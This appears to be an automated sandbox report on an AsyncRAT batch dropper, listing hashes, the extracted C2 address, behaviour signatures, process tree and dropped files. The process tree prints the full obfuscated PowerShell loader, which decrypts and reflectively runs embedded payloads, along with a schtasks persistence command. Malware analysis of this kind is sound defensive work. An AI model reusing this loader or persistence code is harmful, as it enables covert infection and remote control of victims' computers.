Analysis

  • max time kernel
    140s
  • max time network
    124s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    19-10-2024 23:12

General

  • Target

    Infected.bat

  • Size

    74KB

  • MD5

    25d86af45fcc93078ac8ff2dd1e83314

  • SHA1

    fd00fd08a9e264bf2470ca17d4b118522fae48fa

  • SHA256

    40268fb4a5e084301d9b6ab32e204b19ca690bea4dbff104881f794f036c4c56

  • SHA512

    518ccc58c6c4eb3c744f4f417892d802dfa13cdb0fbc98020787b5534d12d602e8087741189dfa9ea7eeff9ce09714638b144771692e375fa93d249609debe24

  • SSDEEP

    768:s1yoKUYWJ5jQm6+iPOf9EwY+yIkwJJke7RA65LyTUtwfMMT4bKfdYeXAG6qUo+Rd:Boqa5jHdlFMIkylRB5Gjeep6q6vSp2SY

Malware Config

Extracted

Family

asyncrat

Botnet

Default

C2

policy-sas.gl.at.ply.gg:43122

Attributes
  • delay

    1

  • install

    true

  • install_file

    Photos.exe

  • install_folder

    %AppData%

aes.plain

Signatures

  • AsyncRat

    AsyncRAT is designed to remotely monitor and control other computers written in C#.

  • Async RAT payload 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Delays execution with timeout.exe 1 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 27 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of WriteProcessMemory 12 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Infected.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:4388
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('rfPx2/qjPEULy3w9Vw91tAJgXSLsh+wieWCmL2bqeJE='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('uoQNNJFNYFBjzV7jmi3PfQ=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $huwyq=New-Object System.IO.MemoryStream(,$param_var); $asgET=New-Object System.IO.MemoryStream; $pgUdN=New-Object System.IO.Compression.GZipStream($huwyq, [IO.Compression.CompressionMode]::Decompress); $pgUdN.CopyTo($asgET); $pgUdN.Dispose(); $huwyq.Dispose(); $asgET.Dispose(); $asgET.ToArray();}function execute_function($param_var,$param2_var){ $MXcqt=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $wghyx=$MXcqt.EntryPoint; $wghyx.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\Infected.bat';$dNySU=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\Infected.bat').Split([Environment]::NewLine);foreach ($NKwGP in $dNySU) { if ($NKwGP.StartsWith(':: ')) { $rNMtY=$NKwGP.Substring(3); break; }}$payloads_var=[string[]]$rNMtY.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:180
      • C:\Windows\System32\cmd.exe
        "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "Photos" /tr '"C:\Users\Admin\AppData\Roaming\Photos.exe"' & exit
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:4752
        • C:\Windows\system32\schtasks.exe
          schtasks /create /f /sc onlogon /rl highest /tn "Photos" /tr '"C:\Users\Admin\AppData\Roaming\Photos.exe"'
          4⤵
          • Scheduled Task/Job: Scheduled Task
          PID:4392
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmp804C.tmp.bat""
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:948
        • C:\Windows\system32\timeout.exe
          timeout 3
          4⤵
          • Delays execution with timeout.exe
          PID:2556
        • C:\Users\Admin\AppData\Roaming\Photos.exe
          "C:\Users\Admin\AppData\Roaming\Photos.exe"
          4⤵
          • Executes dropped EXE
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1380

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_2d1njfs0.r5c.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • C:\Users\Admin\AppData\Local\Temp\tmp804C.tmp.bat

    Filesize

    150B

    MD5

    7b50dd8e05a69c22f1ad41ccc6b8f990

    SHA1

    c68a386464ea61b045f58b6ae02c5320a1d5cc2a

    SHA256

    908e7e29f0b9c9de14f5632993cc1720b62e0bb8504d2457409f11222c2d6328

    SHA512

    45b1789df80fe7c1749dd54f49c8a1439a14aba7778ed967b1132fa333623496c172081e08d80d309f1c4e729427b7bf05e8fb71021c7092ff02fe714373546b

  • C:\Users\Admin\AppData\Roaming\Photos.exe

    Filesize

    442KB

    MD5

    04029e121a0cfa5991749937dd22a1d9

    SHA1

    f43d9bb316e30ae1a3494ac5b0624f6bea1bf054

    SHA256

    9f914d42706fe215501044acd85a32d58aaef1419d404fddfa5d3b48f66ccd9f

    SHA512

    6a2fb055473033fd8fdb8868823442875b5b60c115031aaeda688a35a092f6278e8687e2ae2b8dc097f8f3f35d23959757bf0c408274a2ef5f40ddfa4b5c851b

  • memory/180-11-0x00007FFAB1460000-0x00007FFAB1F21000-memory.dmp

    Filesize

    10.8MB

  • memory/180-12-0x00007FFAB1460000-0x00007FFAB1F21000-memory.dmp

    Filesize

    10.8MB

  • memory/180-15-0x000001BBF6480000-0x000001BBF6496000-memory.dmp

    Filesize

    88KB

  • memory/180-14-0x000001BBF6440000-0x000001BBF6450000-memory.dmp

    Filesize

    64KB

  • memory/180-13-0x000001BBF4320000-0x000001BBF4328000-memory.dmp

    Filesize

    32KB

  • memory/180-21-0x00007FFAB1460000-0x00007FFAB1F21000-memory.dmp

    Filesize

    10.8MB

  • memory/180-0-0x00007FFAB1463000-0x00007FFAB1465000-memory.dmp

    Filesize

    8KB

  • memory/180-23-0x00007FFAB1460000-0x00007FFAB1F21000-memory.dmp

    Filesize

    10.8MB

  • memory/180-10-0x000001BBF6450000-0x000001BBF6472000-memory.dmp

    Filesize

    136KB

  • memory/1380-35-0x000002407DC10000-0x000002407DC54000-memory.dmp

    Filesize

    272KB

  • memory/1380-36-0x000002407DCE0000-0x000002407DD56000-memory.dmp

    Filesize

    472KB